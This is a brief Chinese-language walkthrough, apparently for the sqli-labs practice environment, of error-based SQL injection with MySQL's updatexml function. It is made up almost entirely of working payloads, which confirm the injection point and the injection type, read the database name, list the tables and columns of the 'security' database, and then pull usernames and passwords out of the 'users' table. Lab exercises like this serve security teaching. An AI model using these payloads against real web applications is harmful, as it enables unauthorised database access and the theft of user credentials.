updatexml报错
1.判断是否存在注入点
通过页面返回结果可以看出,有错误信息回显,但是没有查询结果回显,所以此处可以利用
报错注入获取数据。
2. 判断注入类型
(1)假设是字符型注入
输入
1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+
从输出结果可以看出,注入类型为字符型。
3.尝试获取当前数据库的库名。
1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
数据库名为security
4.爆表名
构造表名的查询语句如下:
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=‘security’ ),0x7e),1)–+
5.爆字段名
1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)–+
6.爆字段值
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(concat_ws(’~’,username,password)) from security.users),0x7e),1) --+